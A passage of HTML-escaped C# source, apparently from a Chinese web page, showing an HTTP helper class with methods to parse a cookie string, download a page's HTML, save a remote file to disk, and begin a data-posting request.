p;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#endregion<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#region&nbsp;读取某一个&nbsp;Cookie&nbsp;字符串到&nbsp;Cookie&nbsp;变量中<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;static&nbsp;Cookie&nbsp;GetCookieFromString(string&nbsp;cookieString,&nbsp;string&nbsp;defaultDomain)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;string[]&nbsp;ary&nbsp;=&nbsp;cookieString.Split(&#39;,&#39;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Hashtable&nbsp;hs&nbsp;=&nbsp;new&nbsp;Hashtable();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;(int&nbsp;i&nbsp;=&nbsp;0;&nbsp;i&nbsp;&lt;&nbsp;ary.Length;&nbsp;i++)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;string&nbsp;s&nbsp;=&nbsp;ary[i].Trim();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;index&nbsp;=&nbsp;s.IndexOf(&#34;=&#34;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(index&nbsp;&gt;&nbsp;0)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;hs.Add(s.Substring(0,&nbsp;index),&nbsp;s.Substring(index&nbsp;+&nbsp;1));<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Cookie&nbsp;ck&nbsp;=&nbsp;new&nbsp;Cookie();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;foreach&nbsp;(object&nbsp;Key&nbsp;in&nbsp;hs.Keys)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(Key.ToString()&nbsp;==&nbsp;&#34;path&#34;)&nbsp;ck.Path&nbsp;=&nbsp;hs[Key].ToString();<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else&nbsp;if&nbsp;(Key.ToString()&nbsp;==&nbsp;&#34;expires&#34;)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//ck.Expires=DateTime.Parse(hs[Key].ToString();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else&nbsp;if&nbsp;(Key.ToString()&nbsp;==&nbsp;&#34;domain&#34;)&nbsp;ck.Domain&nbsp;=&nbsp;hs[Key].ToString();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ck.Name&nbsp;=&nbsp;Key.ToString();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ck.Value&nbsp;=&nbsp;hs[Key].ToString();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(ck.Name&nbsp;==&nbsp;&#34;&#34;)&nbsp;return&nbsp;null;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(ck.Domain&nbsp;==&nbsp;&#34;&#34;)&nbsp;ck.Domain&nbsp;=&nbsp;defaultDomain;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;ck;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#endregion<br/><br/><br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/**/<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;TgData&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;Alias&gt;下载Web源代码&lt;/Alias&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/TgData&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;string&nbsp;DownloadHtml(string&nbsp;URL,&nbsp;bool&nbsp;Cr&#101;ateCookie)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HttpWebRequest&nbsp;request&nbsp;=&nbsp;HttpWebRequest.Cr&#101;ate(URL)&nbsp;as&nbsp;HttpWebRequest;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(cookie&nbsp;!=&nbsp;null)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;request.CookieContainer&nbsp;=&nbsp;new&nbsp;CookieContainer();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;request.CookieContainer.Add(cookie);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;request.AllowAutoRedirect&nbsp;=&nbsp;false;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//request.MaximumAutomaticRedirections&nbsp;=&nbsp;3;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;request.Timeout&nbsp;=&nbsp;20000;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HttpWebResponse&nbsp;res&nbsp;=&nbsp;(HttpWebResponse)request.GetResponse();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;string&nbsp;r&nbsp;=&nbsp;&#34;&#34;;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;System.IO.StreamReader&nbsp;S1&nbsp;=&nbsp;new&nbsp;System.IO.StreamReader(res.GetResponseStream(),&nbsp;System.Text.Encoding.Default);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;r&nbsp;=&nbsp;S1.ReadToEnd();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(Cr&#101;ateCookie)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cookie&nbsp;=&nbsp;res.Cookies;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;catch&nbsp;(Exception&nbsp;er)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//Log&nbsp;l&nbsp;=&nbsp;new&nbsp;Log();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//l.writelog(&#34;下载Web错误&#34;,&nbsp;er.ToString());<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;finally<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;res.Close();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;S1.Close();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;r;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;catch<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;string.Empty;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/**/<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;TgData&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;Alias&gt;下载文件&lt;/Alias&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/TgData&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;long&nbsp;DownloadFile(string&nbsp;FileURL,&nbsp;string&nbsp;FileSavePath,&nbsp;bool&nbsp;Cr&#101;ateCookie)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;long&nbsp;Filelength&nbsp;=&nbsp;0;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HttpWebRequest&nbsp;req&nbsp;=&nbsp;HttpWebRequest.Cr&#101;ate(FileURL)&nbsp;as&nbsp;HttpWebRequest;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(cookie&nbsp;!=&nbsp;null)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;req.CookieContainer&nbsp;=&nbsp;new&nbsp;CookieContainer();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;req.CookieContainer.Add(cookie);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;req.AllowAutoRedirect&nbsp;=&nbsp;true;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HttpWebResponse&nbsp;res&nbsp;=&nbsp;req.GetResponse()&nbsp;as&nbsp;HttpWebResponse;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(Cr&#101;ateCookie)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cookie&nbsp;=&nbsp;res.Cookies;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;System.IO.Stream&nbsp;stream&nbsp;=&nbsp;res.GetResponseStream();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Filelength&nbsp;=&nbsp;res.ContentLength;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;byte[]&nbsp;b&nbsp;=&nbsp;new&nbsp;byte[512];<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;nReadSize&nbsp;=&nbsp;0;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;nReadSize&nbsp;=&nbsp;stream.Read(b,&nbsp;0,&nbsp;512);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;System.IO.FileStream&nbsp;fs&nbsp;=&nbsp;System.IO.File.Cr&#101;ate(FileSavePath);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;(nReadSize&nbsp;&gt;&nbsp;0)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fs.Write(b,&nbsp;0,&nbsp;nReadSize);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;nReadSize&nbsp;=&nbsp;stream.Read(b,&nbsp;0,&nbsp;512);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;finally<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fs.Close();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;catch&nbsp;(Exception&nbsp;er)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//Log&nbsp;l&nbsp;=&nbsp;new&nbsp;Log();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//l.writelog(&#34;下载文件错误&#34;,&nbsp;er.ToString());<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;finally<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;res.Close();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;stream.Close();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;Filelength;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/**/<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;TgData&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;Alias&gt;提交数据&lt;/Alias&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/TgData&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;string&nbsp;Request(string&nbsp;RequestPageURL,&nbsp;RequestData&nbsp;Data,&nbsp;bool&nbsp;Cr&#101;ateCookie)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;StreamReader&nbsp;reader&nbsp;=&nbsp;null;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HttpWebResponse&nbsp;response&nbsp;=&nbsp;null;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HttpWebRequest&nbsp;request&nbsp;=&nbsp;null;<br